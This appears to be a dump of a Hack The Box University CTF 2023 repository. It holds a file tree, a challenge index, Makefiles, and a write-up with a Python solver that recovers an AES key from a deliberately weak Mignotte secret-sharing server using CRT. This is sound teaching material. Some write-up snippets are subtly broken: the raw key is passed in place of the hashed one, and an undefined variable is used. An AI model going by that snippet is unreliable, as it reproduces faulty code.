├── README.md ├── assets ├── banner.png ├── htb.png └── logo_htb.png └── uni-ctf-2023 ├── crypto ├── [Easy] MSS Revenge │ ├── Makefile │ ├── README.md │ └── htb │ │ └── solver.py ├── [Easy] MSS │ ├── Makefile │ ├── README.md │ └── htb │ │ └── solver.py ├── [Hard] Zombie Rolled │ ├── Makefile │ ├── README.md │ └── htb │ │ ├── output.txt │ │ └── solver.py └── [Medium] Mayday Mayday │ ├── Makefile │ ├── README.md │ └── htb │ ├── output.txt │ └── solver.sage ├── forensics ├── [Easy] One Step Closer │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── cyberchef.png │ │ ├── debug.png │ │ ├── deobf_js.png │ │ ├── deobf_vbs.png │ │ ├── final_powershell.png │ │ ├── flag.png │ │ ├── htb.png │ │ ├── js.png │ │ ├── powershell.png │ │ └── vb.png │ └── htb │ │ ├── deobf_js.txt │ │ ├── deobf_vbs.txt │ │ ├── final_powershell.txt │ │ ├── js.txt │ │ ├── powershell.txt │ │ ├── script.vbs │ │ └── vb.txt ├── [Hard] Shadow of the Undead │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── htb.png │ │ ├── pdf.png │ │ ├── vt.png │ │ └── wireshark.png │ └── htb │ │ ├── biohazard_containment_update.pdf │ │ ├── msf │ │ ├── handler.rc │ │ └── runner.js │ │ ├── shellcode.bin │ │ └── shellcode_solution │ │ ├── UNI-ctf-shellcode.sln │ │ └── UNI-ctf-shellcode │ │ ├── UNI-ctf-shellcode.vcxproj │ │ ├── UNI-ctf-shellcode.vcxproj.filters │ │ ├── UNI-ctf-shellcode.vcxproj.user │ │ ├── main.c │ │ ├── peb_lookup.h │ │ └── x64 │ │ └── Debug │ │ ├── UNI-ctf-shellcode.Build.CppClean.log │ │ ├── UNI-ctf-shellcode.exe.recipe │ │ ├── UNI-ctf-shellcode.log │ │ └── UNI-ctf-shellcode.vcxproj.FileListAbsolute.txt └── [Medium] ZombieNet │ ├── README.md │ ├── assets │ ├── banner.png │ ├── flag.png │ ├── htb.png │ ├── root.png │ ├── symlinks.png │ └── xor.png │ └── htb │ ├── openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-rootfs.tar.gz │ ├── openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin │ └── reanimate.sh ├── fullpwn ├── Androcat │ ├── assets │ │ ├── banner.png │ │ ├── burp1.png │ │ ├── emailpreview.png │ │ ├── home.png │ │ ├── home1.png │ │ ├── home3.png │ │ ├── home4.png │ │ ├── htb.png │ │ ├── jadx1.png │ │ ├── leak.png │ │ ├── leaked.png │ │ ├── nginx.png │ │ ├── nmap.png │ │ ├── pdfgen.png │ │ ├── pspy.png │ │ ├── root.txt │ │ ├── ser.png │ │ └── xss.png │ ├── official_writeup.md │ └── official_writeup.pdf ├── Apethanto │ ├── Apethanto.assets │ │ ├── banner.png │ │ ├── htb.png │ │ ├── metabase.png │ │ └── web.png │ ├── Apethanto.md │ └── Apethanto.pdf └── Umbrella │ ├── Umbrella.assets │ ├── avatar.png │ ├── banner.png │ ├── foothold1.png │ ├── foothold2.png │ ├── foothold3.png │ ├── foothold4.png │ ├── foothold5.png │ └── foothold6.png │ └── Umbrella.md ├── pwn ├── [Easy] Great Old Talisman │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ └── htb.png │ └── htb │ │ └── solver.py ├── [Hard] Zombiedote │ ├── README.md │ ├── assets │ │ ├── banner.png │ │ ├── checksec.png │ │ ├── flag.png │ │ ├── gdb1.png │ │ ├── gdb2.png │ │ ├── gdb3.png │ │ ├── gdb4.png │ │ ├── gdb5.png │ │ ├── htb.png │ │ ├── interface.png │ │ └── libc_version.png │ └── htb │ │ ├── Makefile │ │ ├── fuzz.py │ │ ├── setup.sh │ │ └── solver.py └── [Medium] Zombienator │ ├── README.md │ ├── assets │ ├── banner.png │ └── htb.png │ └── htb │ └── solver.py ├── rev ├── [Easy] WindowOfOpportunity │ ├── README.md │ └── htb │ │ └── solve.py ├── [Hard] RiseFromTheDead │ ├── README.md │ └── htb │ │ └── solve.py └── [Medium] BioBundle │ └── README.md └── web ├── [Easy] GateCrash ├── README.md ├── assets │ └── overview.png └── htb │ └── solver.py ├── [Hard] PhantomFeed ├── README.md ├── assets │ ├── admin.png │ ├── login.png │ ├── marketlogin.png │ ├── oauth2grant.png │ ├── orders.png │ ├── overview1.png │ ├── overview2.png │ ├── pdf.png │ └── register.png ├── conf │ ├── nginx.conf │ └── supervisord.conf ├── entrypoint.sh └── htb │ ├── go.mod │ ├── go.sum │ └── solver.go └── [Medium] Nexus Void ├── Readme.md └── assets ├── auth.png ├── banner.png ├── dash.png ├── flag.png ├── htb.png ├── set.png └── wish.png /README.md: -------------------------------------------------------------------------------- 1 |

2 | HTB 3 |

4 | 5 | # [__Challenges__](#challenges) 6 | | Category | Name | Objective | Difficulty [⭐⭐⭐⭐⭐] | 7 | |---------------|-------------------------------------------------------------------------|--------------------------------------------------|-------------------------| 8 | | **Web** | [GateCrash](uni-ctf-2023/web/[Easy]%20GateCrash) | SQL injection via CRLF injection | ⭐ | 9 | | **Web** | [Nexus Void](uni-ctf-2023/web/[Medium]%20Nexus%20Void) | Dotnet deserialisaiton via SQL injection | ⭐⭐ | 10 | | **Web** | [PhantomFeed](uni-ctf-2023/web/[Hard]%20PhantomFeed) | Race condition via reDos, open-redirect in Nuxt.js to perofrm CSRF and leak OAuth 2 access token, RCE in Reportlab | ⭐⭐⭐ | 11 | | **Pwn** | [Great Old Talisman](uni-ctf-2023/pwn/[Easy]%20Great%20Old%20Talisman) | Overwrite `exit@GOT` with the address of the function that reads the flag | ⭐ | 12 | | **Pwn** | [Zombienator](uni-ctf-2023/pwn/[Medium]%20Zombienator) | Make 9 allocations and 8 frees to leak a libc address, abuse scanf("ld") to bypass the canary check, use pwntools struct to pack doubles, and perform a ret2libc attack with one gadget | ⭐⭐ | 13 | | **Pwn** | [Zombiedote](uni-ctf-2023/pwn/[Hard]%20Zombiedote) | Leverage a single malloc call, an out of bounds read and two out of bounds writes in order into code execution in glibc 2.34 | ⭐⭐⭐ | 14 | | **Reversing** | [WindowOfOpportunity](uni-ctf-2023/rev/[Easy]%20WindowOfOpportunity) | Reversing simple flag checker algorithm | ⭐ | 15 | | **Reversing** | [BioBundle](uni-ctf-2023/rev/[Medium]%20BioBundle) | Reversing a flag checker embedded in a library encrypted and loaded with memfd_create | ⭐⭐ | 16 | | **Reversing** | [RiseFromTheDead](uni-ctf-2023/rev/[Hard]%20RiseFromTheDead) | Reversing a flag encoder then recovering a core dump to retrieve the flagg | ⭐⭐⭐ | 17 | | **Forensics** | [One Step Closer](uni-ctf-2023/forensics/[Easy]%20One%20Step%20Closer) | Windows JScript deobfuscation - Malware delivery - VBS debugging | ⭐ | 18 | | **Forensics** | [ZombieNet](uni-ctf-2023/forensics/[Medium]%20ZombieNet) | OpenWrt firwmare analysis - MIPS binary emulation using QEMU | ⭐⭐ | 19 | | **Forensics** | [Shadow of the Undead](uni-ctf-2023/forensics/[Hard]%20Shadow%20of%20the%20Undead) | Meterpreter parsing/decryption - custom windows shellcode emulation | ⭐⭐⭐ | 20 | | **Crypto** | [MSS](uni-ctf-2023/crypto/[Easy]%20MSS)| Use CRT to get the entire secret on a Mignotte Secret Sharing scheme | ⭐| 21 | | **Crypto** | [Mayday Mayday](uni-ctf-2023/crypto/[Medium]%20Mayday%20Mayday) | Factor N by exploiting the partial leakage of the CRT components | ⭐⭐ | 22 | | **Crypto** | [Zombie Rolled](uni-ctf-2023/crypto/[Hard]%20Zombie%20Rolled) | Solve a diophantine equation to get the private key and apply LLL to recover the flag from the signature | ⭐⭐⭐ | 23 | -------------------------------------------------------------------------------- /assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/banner.png -------------------------------------------------------------------------------- /assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/htb.png -------------------------------------------------------------------------------- /assets/logo_htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/assets/logo_htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS Revenge/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | ifdef name 3 | @cd challenge; \ 4 | mkdir -p ../release/crypto_$(name); \ 5 | cp server.py ../release/crypto_$(name); 6 | 7 | @cd release; \ 8 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ 9 | unzip -l ./crypto_$(name).zip; 10 | 11 | @echo [+] Challenge was built successfully. 12 | else 13 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" 14 | endif 15 | 16 | flag: 17 | @echo [+] Flag : $$(cd challenge; python3 -c 'from secret import FLAG; print(FLAG);') 18 | 19 | solver: 20 | @echo [+] Running solver 21 | @echo $$(cd challenge ; python3 ../htb/solver.py) 22 | @find ./ -name "*.sage.py" -type f -delete 23 | 24 | test: clean default flag solver 25 | 26 | clean: 27 | @rm -rf release/* 28 | @find . -name "*.sage.py" -type f -delete 29 | @echo [+] Challenge release deleted successfully. -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS Revenge/README.md: -------------------------------------------------------------------------------- 1 | ![img](../assets/banner.png) 2 | 3 | MSS 5 | 6 | 28^{th} 2023 / Document No. D22.102.16 7 | 8 | Prepared By: `aris` 9 | 10 | Challenge Author(s): `aris` 11 | 12 | Difficulty: Easy 13 | 14 | Classification: Official 15 | 16 | # Synopsis 17 | 18 | - This challenge teaches players about the Mignotte Secret Sharing scheme. In this scheme, we are able to obtain the secret modulo $n$ distinct relatively prime moduli and combine these partial solutions with CRT to get the entire secret $a_0$. 19 | 20 | ## Description 21 | 22 | - The military possesses a server containing crucial data about the virus and potential cures, secured with encryption and a key distributed using a secret sharing scheme. However, authorized members holding parts of the key are infected, preventing access to the research. Fueled by your cryptography passion, you and your friends aim to hack into the server and recover the key. Can you succeed in this challenging mission? 23 | 24 | ## Skills Required 25 | 26 | - Basic knowledge of Secret Sharing schemes. 27 | - Familiar with polynomials. 28 | - Know how to combine partial solutions to obtain a full solution. 29 | 30 | ## Skills Learned 31 | 32 | - Learn how to apply CRT to combine multiple partial solutions. 33 | - Learn about the Mignotte Secret Sharing. 34 | 35 | # Enumeration 36 | 37 | ## Analyzing the source code 38 | 39 | In this challenge, we are provided with one file `server.py` which is the main script that runs when we connect to the remote instance. 40 | 41 | From the welcome message, we understand that the challenge is about secret sharing schemes. Such a scheme usually requires two parameters having been set: 42 | 43 | - The finite field $GF(p)$ in which all the operations will be performed. 44 | - The degree of the polynomial to be interpolated, say `d`. 45 | - The number of users in the scheme `n` (or equivalently, the number of shares required to interpolate the polynomial). 46 | 47 | ### Polynomials in Secret Sharing schemes 48 | 49 | Before moving on, it is important to recall how secret sharing schemes work. The purpose of such a scheme is key distribution among a group of users where each user contributes to this distrubution by submitting their ***share***; as it is called. First, a $d$-degree polynomial needs to be defined under a finite field $GF(p)$. 50 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_dx^d \pmod p$$ 51 | Moreover let $n$ be the number of users that intend to distribute the secret. It turns out that $P$ can be uniquely determined (i.e. interpolated) only if $n > d$. In other words, there are needed at least as many shares as the number of coefficients of $P$. 52 | 53 | Back to our problem, there are two things that stand out. 54 | 55 | - The polynomial being used is not defined in a finite field $GF(p)$. This is trivial to see from the `poly` function which substitutes the polynomial with the value of $x$ and the result is not reduced modulo any prime number $p$. 56 | 57 | ```python 58 | def poly(self, x): 59 | return sum([self.coeffs[i] * x**i for i in range(self.d+1)]) 60 | ``` 61 | 62 | - The degree of the polynomial is $30$ but the maximum number of shares is only $19$ which initially might make us think that it is not possible to interpolate the polynomial. This is trivial to see from the constructor of the MSS class. 63 | 64 | ```python 65 | class MSS: 66 | def __init__(self, BITS, d, n): 67 | self.d = d 68 | self.n = n 69 | self.BITS = BITS 70 | ... 71 | 72 | def main(): 73 | mss = MSS(256, 30, 19) 74 | ... 75 | ``` 76 | 77 | Our final task is to recover the $a_0$ coefficient of the polynomial which is the key that is eventually used to encrypt the flag. 78 | 79 | ```python 80 | self.key = bytes_to_long(os.urandom(BITS//8)) 81 | self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)] 82 | ``` 83 | 84 | ```python 85 | def encrypt_flag(self, m): 86 | key = sha256(str(self.key).encode()).digest() 87 | iv = os.urandom(16) 88 | cipher = AES.new(key, AES.MODE_CBC, iv) 89 | ct = cipher.encrypt(pad(m, 16)) 90 | return {'iv': iv.hex(), 'enc_flag': ct.hex()} 91 | ``` 92 | 93 | Therefore we can deduce the following about the secret sharing scheme. 94 | 95 | - The polynomial is defined over the integers and is of degree $d = 30$. 96 | - The maximum number of users in this scheme is $n = 19$. 97 | - The size of each coefficient is 256 bits. 98 | - All coefficients but $a_0$ are random 256-bit integers. $a_0$ itself is the key that we have to recover. 99 | 100 | Now let us examine the flow of the application and how we can interact with it. 101 | 102 | 1. We can send our ID to the server and receive our share back. 103 | 2. We can receive the encrypted flag from the server. 104 | 105 | Since the key is unknown and AES is considered secure, we will experiment with the first option. The first option has the following restrictions. 106 | 107 | ```python 108 | def get_share(self, x): 109 | if x > 2**15: 110 | return {'approved': 'False', 'reason': 'This scheme is intended for less users.'} 111 | elif self.n < 1: 112 | return {'approved': 'False', 'reason': 'Enough shares for today.'} 113 | else: 114 | self.n -= 1 115 | return {'approved': 'True', 'x': x, 'y': self.poly(x)} 116 | ``` 117 | 118 | 1. Our ID must not be greater than 15 bits. 119 | 2. Each time we send an ID, the number of shares is decreased by $1$ so we are allowed to send only 19 requests. 120 | 3. If we attempt to send more, our request is not accepted. 121 | 122 | # Solution 123 | 124 | ## Finding the vulnerability 125 | 126 | This challenge demonstrates why it is important to use secure parameters for secret sharing schemes and to define polynomials in finite fields. Firstly, the problem with recovering the coefficients directly is that there are 31 unknowns but we are able to obtain only 19 relations with these variables. Let us redefine the polynomial $P$: 127 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_{30}x^{30}$$ 128 | Assuming the player is familiar with modular arithmetic, they can quickly observe that: 129 | $$P(x_i) \pmod {x_i} \equiv a_0 \pmod {x_i}$$ 130 | Therefore, by reducing the $i$-th share modulo $x_i$ we get the first coefficient $a_0$ (i.e. our secret) reduced modulo $x_i$. That is because all the other terms are eliminated as they are multiples of $x_i$. 131 | $$P(x_i) = a_0 + a_1x_i + a_2x_i^2 + \dots + a_{30}x_i^{30}$$ 132 | A question might arise regarding how useful this is. There is a well known theorem known as the Chinese Remainder Theorem (CRT) that helps us to find a full solution given enough partial solutions. More specifically, given the following relations: 133 | $$x \equiv c_1 \pmod {n_1}\\ 134 | x \equiv c_2 \pmod {n_2}\\ 135 | \vdots\\ 136 | x \equiv c_k \pmod {n_k}$$ 137 | and assuming that $n_i$ are all relatively prime, the Chinese Remainder Theorem can find a solution for $x$ modulo $N = n_1n_2 \dots n_k$. 138 | 139 | Note that this challenge can become significantly easier if the player is already aware of the well known secret sharing scheme known as Mignotte Secret Sharing scheme (MSS). 140 | 141 | Since we are limited to send at most 15-bit IDs, we would need at least $\lceil{\dfrac{256}{15}}\rceil = 18$ shares in order to recover the entire 256-bit secret which we are able to do since the upper limit is 19. More specifically, with 18 requests we can recover 15*18 = 270 bits of the key. 142 | 143 | 144 | 145 | ## Exploitation 146 | 147 | Let us adjust the Chinese Remainder Theorem to our challenge data. The idea is to send 18 distinct $x_i$ as IDs and reduce the share modulo $x_i$. Then we obtain $a_0 \pmod {x_i}$. Repeating this we obtain several equations for the key $K$: 148 | $$K \equiv a_0 \pmod {x_0}\\ 149 | K \equiv a_0 \pmod {x_1}\\ 150 | \vdots\\ 151 | K \equiv a_0 \pmod {x_{17}}$$ 152 | This is exactly in the form of the Chinese Remainder Theorem so we can apply it to recover the full key $K$. To avoid the $x_i$ having common factors, we can define them to be prime numbers. 153 | 154 | Let us write a function that randomly selects 18 15-bit primes, sends them to the server as the user ID and receives the corresponding share. 155 | 156 | ```python 157 | from Crypto.Util.number import getPrime 158 | 159 | def obtain_shares(): 160 | X = [getPrime(15) for _ in range(n)] 161 | RK = [] # reduced keys 162 | 163 | for x in X: 164 | payload = json.dumps({'command': 'get_share', 'x': x}) 165 | io.sendlineafter(b'query = ', payload.encode()) 166 | share = json.loads(io.recvline().strip())['y'] 167 | RK.append(share % x) 168 | 169 | return X, RK 170 | 171 | d = 30 172 | n = 19 173 | ``` 174 | 175 | Having obtained the shares, we can use Sympy's implementation of the CRT and solve for the key. 176 | 177 | ```python 178 | from sympy.ntheory.modular import crt 179 | 180 | def solve_crt(X, rk): 181 | return int(crt(X, rk)[0]) 182 | ``` 183 | 184 | Finally, we can hash the key as seen in the challenge source, request the encrypted flag and decrypt it. 185 | 186 | ```python 187 | from hashlib import sha256 188 | 189 | def calculate_decryption_key(key): 190 | return sha256(str(key).encode()).digest() 191 | 192 | def request_encrypted_flag(): 193 | payload = json.dumps({'command': 'encrypt_flag'}) 194 | io.sendlineafter(b'query = ', payload.encode()) 195 | io.recvuntil(b'flag : ') 196 | 197 | data = json.loads(io.recvuntil(b'}').strip()) 198 | iv = bytes.fromhex(data['iv']) 199 | encflag = bytes.fromhex(data['enc_flag']) 200 | return iv, encflag 201 | 202 | from Crypto.Util.Padding import unpad 203 | from Crypto.Cipher import AES 204 | 205 | def decrypt_flag(key, iv, enc_flag): 206 | cipher = AES.new(key, AES.MODE_CBC, iv) 207 | return unpad(cipher.decrypt(encflag), 16).decode() 208 | ``` 209 | 210 | ### Getting the flag 211 | 212 | A final summary of all that was said above: 213 | 214 | 1. Notice that the degree of the polynomial $d = 30$ is greater than the number of shares we are allowed to obtain $n = 19$. 215 | 2. Write down how $x_i$ are substituted in the polynomial $P$ and take advantage of the modular arithmetic properties to get the key $a_0$ reduced modulo different relatively prime moduli. 216 | 3. Having obtained enough modular congruences, apply the CRT to find the whole key. 217 | 4. Recalculate the decryption key 218 | 5. Request the encrypted flag and decrypt it. 219 | 220 | These steps can be represented by code with the `pwn()` function: 221 | 222 | ```python 223 | def pwn(): 224 | X, RK = obtain_shares() 225 | key = solve_crt(X, RK) 226 | aes_key = calculate_decryption_key(key) 227 | iv, enc_flag = request_encrypted_flag() 228 | flag = decrypt_flag(key, iv, enc_flag) 229 | print(flag) 230 | 231 | pwn() 232 | ``` 233 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS Revenge/htb/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, process, args 2 | from sympy.ntheory.modular import crt 3 | from Crypto.Util.number import getPrime 4 | from Crypto.Cipher import AES 5 | from Crypto.Util.Padding import unpad 6 | import json, math 7 | from hashlib import sha256 8 | 9 | 10 | if args.REMOTE: 11 | ip, port = args.HOST.split(":") 12 | io = remote(ip, int(port)) 13 | else: 14 | io = process("python3 ../challenge/server.py", shell=True) 15 | 16 | d = 30 17 | n = 19 18 | 19 | X = [getPrime(15) for _ in range(n-1)] 20 | RK = [] # reduced keys 21 | 22 | for x in X: 23 | payload = json.dumps({'command': 'get_share', 'x': x}) 24 | io.sendlineafter(b'query = ', payload.encode()) 25 | y = json.loads(io.recvline().strip())['y'] 26 | RK.append(y % x) 27 | 28 | key = int(crt(X, RK)[0]) 29 | key = sha256(str(key).encode()).digest() 30 | 31 | payload = json.dumps({'command': 'encrypt_flag'}) 32 | io.sendlineafter(b'query = ', payload.encode()) 33 | io.recvuntil(b'flag : ') 34 | 35 | data = json.loads(io.recvuntil(b'}').strip()) 36 | iv = bytes.fromhex(data['iv']) 37 | encflag = bytes.fromhex(data['enc_flag']) 38 | 39 | cipher = AES.new(key, AES.MODE_CBC, iv) 40 | 41 | print(unpad(cipher.decrypt(encflag), 16).decode()) 42 | 43 | -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | ifdef name 3 | @cd challenge; \ 4 | mkdir -p ../release/crypto_$(name); \ 5 | cp server.py ../release/crypto_$(name); 6 | 7 | @cd release; \ 8 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \ 9 | unzip -l ./crypto_$(name).zip; 10 | 11 | @echo [+] Challenge was built successfully. 12 | else 13 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\" 14 | endif 15 | 16 | flag: 17 | @echo [+] Flag : $$(cd challenge; python3 -c 'from secret import FLAG; print(FLAG);') 18 | 19 | solver: 20 | @echo [+] Running solver 21 | @echo $$(cd challenge ; python3 ../htb/solver.py) 22 | @find ./ -name "*.sage.py" -type f -delete 23 | 24 | test: clean default flag solver 25 | 26 | clean: 27 | @rm -rf release/* 28 | @find . -name "*.sage.py" -type f -delete 29 | @echo [+] Challenge release deleted successfully. -------------------------------------------------------------------------------- /uni-ctf-2023/crypto/[Easy] MSS/README.md: -------------------------------------------------------------------------------- 1 | ![img](../assets/banner.png) 2 | 3 | MSS 5 | 6 | 28^{th} 2023 / Document No. D22.102.16 7 | 8 | Prepared By: `aris` 9 | 10 | Challenge Author(s): `aris` 11 | 12 | Difficulty: Easy 13 | 14 | Classification: Official 15 | 16 | # Synopsis 17 | 18 | - This challenge teaches players about the Mignotte Secret Sharing scheme. In this scheme, we are able to obtain the secret modulo $n$ distinct relatively prime moduli and combine these partial solutions with CRT to get the entire secret $a_0$. 19 | 20 | ## Description 21 | 22 | - The military possesses a server containing crucial data about the virus and potential cures, secured with encryption and a key distributed using a secret sharing scheme. However, authorized members holding parts of the key are infected, preventing access to the research. Fueled by your cryptography passion, you and your friends aim to hack into the server and recover the key. Can you succeed in this challenging mission? 23 | 24 | ## Skills Required 25 | 26 | - Basic knowledge of Secret Sharing schemes. 27 | - Familiar with polynomials. 28 | - Know how to combine partial solutions to obtain a full solution. 29 | 30 | ## Skills Learned 31 | 32 | - Learn how to apply CRT to combine multiple partial solutions. 33 | - Learn about the Mignotte Secret Sharing. 34 | 35 | # Enumeration 36 | 37 | ## Analyzing the source code 38 | 39 | In this challenge, we are provided with one file `server.py` which is the main script that runs when we connect to the remote instance. 40 | 41 | From the welcome message, we understand that the challenge is about secret sharing schemes. Such a scheme usually requires two parameters having been set: 42 | 43 | - The finite field $GF(p)$ in which all the operations will be performed. 44 | - The degree of the polynomial to be interpolated, say `d`. 45 | - The number of users in the scheme `n` (or equivalently, the number of shares required to interpolate the polynomial). 46 | 47 | ### Polynomials in Secret Sharing schemes 48 | 49 | Before moving on, it is important to recall how secret sharing schemes work. The purpose of such a scheme is key distribution among a group of users where each user contributes to this distrubution by submitting their ***share***; as it is called. First, a $d$-degree polynomial needs to be defined under a finite field $GF(p)$. 50 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_dx^d \pmod p$$ 51 | Moreover let $n$ be the number of users that intend to distribute the secret. It turns out that $P$ can be uniquely determined (i.e. interpolated) only if $n > d$. In other words, there are needed at least as many shares as the number of coefficients of $P$. 52 | 53 | Back to our problem, there are two things that stand out. 54 | 55 | - The polynomial being used is not defined in a finite field $GF(p)$. This is trivial to see from the `poly` function which substitutes the polynomial with the value of $x$ and the result is not reduced modulo any prime number $p$. 56 | 57 | ```python 58 | def poly(self, x): 59 | return sum([self.coeffs[i] * x**i for i in range(self.d+1)]) 60 | ``` 61 | 62 | - The degree of the polynomial is $30$ but the maximum number of shares is only $19$ which initially might make us think that it is not possible to interpolate the polynomial. This is trivial to see from the constructor of the MSS class. 63 | 64 | ```python 65 | class MSS: 66 | def __init__(self, BITS, d, n): 67 | self.d = d 68 | self.n = n 69 | self.BITS = BITS 70 | ... 71 | 72 | def main(): 73 | mss = MSS(256, 30, 19) 74 | ... 75 | ``` 76 | 77 | Our final task is to recover the $a_0$ coefficient of the polynomial which is the key that is eventually used to encrypt the flag. 78 | 79 | ```python 80 | self.key = bytes_to_long(os.urandom(BITS//8)) 81 | self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)] 82 | ``` 83 | 84 | ```python 85 | def encrypt_flag(self, m): 86 | key = sha256(str(self.key).encode()).digest() 87 | iv = os.urandom(16) 88 | cipher = AES.new(key, AES.MODE_CBC, iv) 89 | ct = cipher.encrypt(pad(m, 16)) 90 | return {'iv': iv.hex(), 'enc_flag': ct.hex()} 91 | ``` 92 | 93 | Therefore we can deduce the following about the secret sharing scheme. 94 | 95 | - The polynomial is defined over the integers and is of degree $d = 30$. 96 | - The maximum number of users in this scheme is $n = 19$. 97 | - The size of each coefficient is 256 bits. 98 | - All coefficients but $a_0$ are random 256-bit integers. $a_0$ itself is the key that we have to recover. 99 | 100 | Now let us examine the flow of the application and how we can interact with it. 101 | 102 | 1. We can send our ID to the server and receive our share back. 103 | 2. We can receive the encrypted flag from the server. 104 | 105 | Since the key is unknown and AES is considered secure, we will experiment with the first option. The first option has the following restrictions. 106 | 107 | ```python 108 | def get_share(self, x): 109 | if x > 2**15: 110 | return {'approved': 'False', 'reason': 'This scheme is intended for less users.'} 111 | elif self.n < 1: 112 | return {'approved': 'False', 'reason': 'Enough shares for today.'} 113 | else: 114 | self.n -= 1 115 | return {'approved': 'True', 'x': x, 'y': self.poly(x)} 116 | ``` 117 | 118 | 1. Our ID must not be greater than 15 bits. 119 | 2. Each time we send an ID, the number of shares is decreased by $1$ so we are allowed to send only 19 requests. 120 | 3. If we attempt to send more, our request is not accepted. 121 | 122 | # Solution 123 | 124 | ## Finding the vulnerability 125 | 126 | This challenge demonstrates why it is important to use secure parameters for secret sharing schemes and to define polynomials in finite fields. Firstly, the problem with recovering the coefficients directly is that there are 31 unknowns but we are able to obtain only 19 relations with these variables. Let us redefine the polynomial $P$: 127 | $$P(x) = a_0 + a_1x + a_2x^2 + \dots + a_{30}x^{30}$$ 128 | Assuming the player is familiar with modular arithmetic, they can quickly observe that: 129 | $$P(x_i) \pmod {x_i} \equiv a_0 \pmod {x_i}$$ 130 | Therefore, by reducing the $i$-th share modulo $x_i$ we get the first coefficient $a_0$ (i.e. our secret) reduced modulo $x_i$. That is because all the other terms are eliminated as they are multiples of $x_i$. 131 | $$P(x_i) = a_0 + a_1x_i + a_2x_i^2 + \dots + a_{30}x_i^{30}$$ 132 | A question might arise regarding how useful this is. There is a well known theorem known as the Chinese Remainder Theorem (CRT) that helps us to find a full solution given enough partial solutions. More specifically, given the following relations: 133 | $$x \equiv c_1 \pmod {n_1}\\ 134 | x \equiv c_2 \pmod {n_2}\\ 135 | \vdots\\ 136 | x \equiv c_k \pmod {n_k}$$ 137 | and assuming that $n_i$ are all relatively prime, the Chinese Remainder Theorem can find a solution for $x$ modulo $N = n_1n_2 \dots n_k$. 138 | 139 | Note that this challenge can become significantly easier if the player is already aware of the well known secret sharing scheme known as Mignotte Secret Sharing scheme (MSS). 140 | 141 | Since we are limited to send at most 15-bit IDs, we would need at least $\lceil{\dfrac{256}{15}}\rceil = 18$ shares in order to recover the entire 256-bit secret which we are able to do since the upper limit is 19. More specifically, with 18 requests we can recover 15*18 = 270 bits of the key. 142 | 143 | 144 | 145 | ## Exploitation 146 | 147 | Let us adjust the Chinese Remainder Theorem to our challenge data. The idea is to send 18 distinct $x_i$ as IDs and reduce the share modulo $x_i$. Then we obtain $a_0 \pmod {x_i}$. Repeating this we obtain several equations for the key $K$: 148 | $$K \equiv a_0 \pmod {x_0}\\ 149 | K \equiv a_0 \pmod {x_1}\\ 150 | \vdots\\ 151 | K \equiv a_0 \pmod {x_{17}}$$ 152 | This is exactly in the form of the Chinese Remainder Theorem so we can apply it to recover the full key $K$. To avoid the $x_i$ having common factors, we can define them to be prime numbers. 153 | 154 | Let us write a function that randomly selects 18 15-bit primes, sends them to the server as the user ID and receives the corresponding share. 155 | 156 | ```python 157 | from Crypto.Util.number import getPrime 158 | 159 | def obtain_shares(): 160 | X = [getPrime(15) for _ in range(n)] 161 | RK = [] # reduced keys 162 | 163 | for x in X: 164 | payload = json.dumps({'command': 'get_share', 'x': x}) 165 | io.sendlineafter(b'query = ', payload.encode()) 166 | share = json.loads(io.recvline().strip())['y'] 167 | RK.append(share % x) 168 | 169 | return X, RK 170 | 171 | d = 30 172 | n = 19 173 | ``` 174 | 175 | Having obtained the shares, we can use Sympy's implementation of the CRT and solve for the key. 176 | 177 | ```python 178 | from sympy.ntheory.modular import crt 179 | 180 | def solve_crt(X, rk): 181 | return int(crt(X, rk)[0]) 182 | ``` 183 | 184 | Finally, we can hash the key as seen in the challenge source, request the encrypted flag and decrypt it. 185 | 186 | ```python 187 | from hashlib import sha256 188 | 189 | def calculate_decryption_key(key): 190 | return sha256(str(key).encode()).digest() 191 | 192 | def request_encrypted_flag(): 193 | payload = json.dumps({'command': 'encrypt_flag'}) 194 | io.sendlineafter(b'query = ', payload.encode()) 195 | io.recvuntil(b'flag : ') 196 | 197 | data = json.loads(io.recvuntil(b'}').strip()) 198 | iv = bytes.fromhex(data['iv']) 199 | encflag = bytes.fromhex(data['enc_flag']) 200 | return iv, encflag 201 | 202 | 203 | from Crypto.Util.Padding import unpad 204 | from Crypto.Cipher import AES 205 | 206 | def decrypt_flag(key, iv, enc_flag): 207 | cipher = AES.new(key, AES.MODE_CBC, iv) 208 | return unpad(cipher.decrypt(encflag), 16).decode() 209 | ``` 210 | 211 | ### Getting the flag 212 | 213 | A final summary of all that was said above: 214 | 215 | 1. Notice that the degree of the polynomial $d = 30$ is greater than the number of shares we are allowed to obtain $n = 19$. 216 | 2. Write down how $x_i$ are substituted in the polynomial $P$ and take advantage of the modular arithmetic properties to get the key 